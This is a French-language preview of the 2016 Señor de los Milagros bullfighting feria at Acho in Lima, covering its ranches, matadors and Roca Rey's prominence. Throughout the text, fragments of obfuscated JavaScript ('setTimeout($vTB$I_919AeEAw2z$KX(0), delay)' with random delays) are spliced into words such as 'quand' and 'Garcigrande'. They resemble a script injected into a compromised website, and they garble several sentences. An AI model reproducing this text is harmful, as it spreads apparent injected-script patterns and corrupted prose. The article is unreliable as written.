LE TOREO PART POUR LIMA

Avec le changement horaire, qui raccourcit les heures de lumière du matin, le toreo –comme l’oiseau migrateur- fait ses valises et s’en va pour l’Amérique, où a porte gayola l’attend à Lima la Feria du Señor de los Milagros, qui se déroulera à Acho durant huit dimanches consécutifs : du 30 octobre dernier au prochain 4 décembre. Au programme, une novillada qui aura déjà eu lieu quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ce texte verra le jour, et cinq corridas dont quatre avec du bétail espagnol, comme l’année dernière, où revient l’élevage de Zalduendo et l’accompagnent ceux de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, Juan Pedro Domecq et Nuñez del Cuvillo complétés par deux élevages péruviens : la novillada de La Centinela et la corrida de Camponuevo.

Parmi les 12 matadors présents dans ce cycle, distinguons le gagnant du dernier Escapulario de Oro, Andrés Roca Rey, le seul matador à participer à deux corridas, à l’ouverture et à la fermeture de cette feria : la première en mano a mano avec El Juli devant du bétail de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, la deuxième, avec celui de Nuñez del Cuvillo, en partageant l’affiche avec Morante et Manzanares. Des matadors de l’année dernière, hormis celui que nous avons mentionné, reviennent à Lima sept toreros – ils ne seront finalement que six car Manuel Escribano n’est pas encore rétabli de son terrible accident et a décidé ne pas franchir l’océan- qui en plus de Roca Rey et Morante, sont Ponce, Talavante, Daniel Luque, Joselito Adame et López Simón, sans compter le torero national Joaquín Galdós, qui lui aussi retourne à Lima, mais qui l’année dernière l’avait fait en tant que novillero. À ceux-ci s’incorporent El Juli, le déjà mentionné Manzanares, Juan Bautista, en tant que remplaçant de Manuel Escribano, et y fait ses début le torero d’Olivenza Ginés Marín.

La presque totalité des revenants ont logiquement triomphé en 2015 après avoir été l’un des rares matadors à couper deux oreilles à un toro, et que soit présent Daniel Luque qui avait eu médiocre prestation devant les toros de Alvaro Martínez Conradi alors que  Paco Ureña, qui coupa une oreille à un « miura », ni le Péruvien Juan Carlos Cubas, qui obtint une oreille à la corrida de La Quinta n’y figurent pas. On ne comprend pas non plus très bien l’absence de Miguel Angel Perera, après avoir été annoncé l’année dernière et n’avoir pas pu honorer ses contrats américains suite à sa gravissime cornade de Salamanque. On aurait dû aussi compter sur lui mais… C’est une affaire qui se joue dans les bureaux. En tout cas, la feria gravite autour du torero de Lima Roca Rey, qui a provoqué des attentes démesurées de la part de ses compatriotes, non seulement pour son incontestable triomphe de 2015, mais aussi par l’extraordinaire américaine et espagnole jusqu’à ce qu’un toro de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande croise sa route et qu’un toro de Charo de Llen achève sa saison à Palencia deux semaines plus tard. Depuis, il n’a plus refait un seul paseo de sorte que dimanche prochain –pimenté aussi par le mano a mano avec une figura espagnole consacrée- on prévoit que ce sera un énorme évènement et à coup sûr les arènes de Acho ne pourront pas accueillir autant de monde et feront le bonheur des revendeurs.

Les clarines sonnent déjà dans cette Séville d’Amérique pour que commence le 205ème anniversaire des arènes d’Acho. Il ne me reste plus qu’à souhaiter que déesse Fortune sourie à tous, que les toros chargent avec caste et entrain et que la tauromachie en sorte une nouvelle renforcée dans sa confrontation avec la réalité. Une saison passionnante commence de l’autre côté de l’Atlantique. Suerte !

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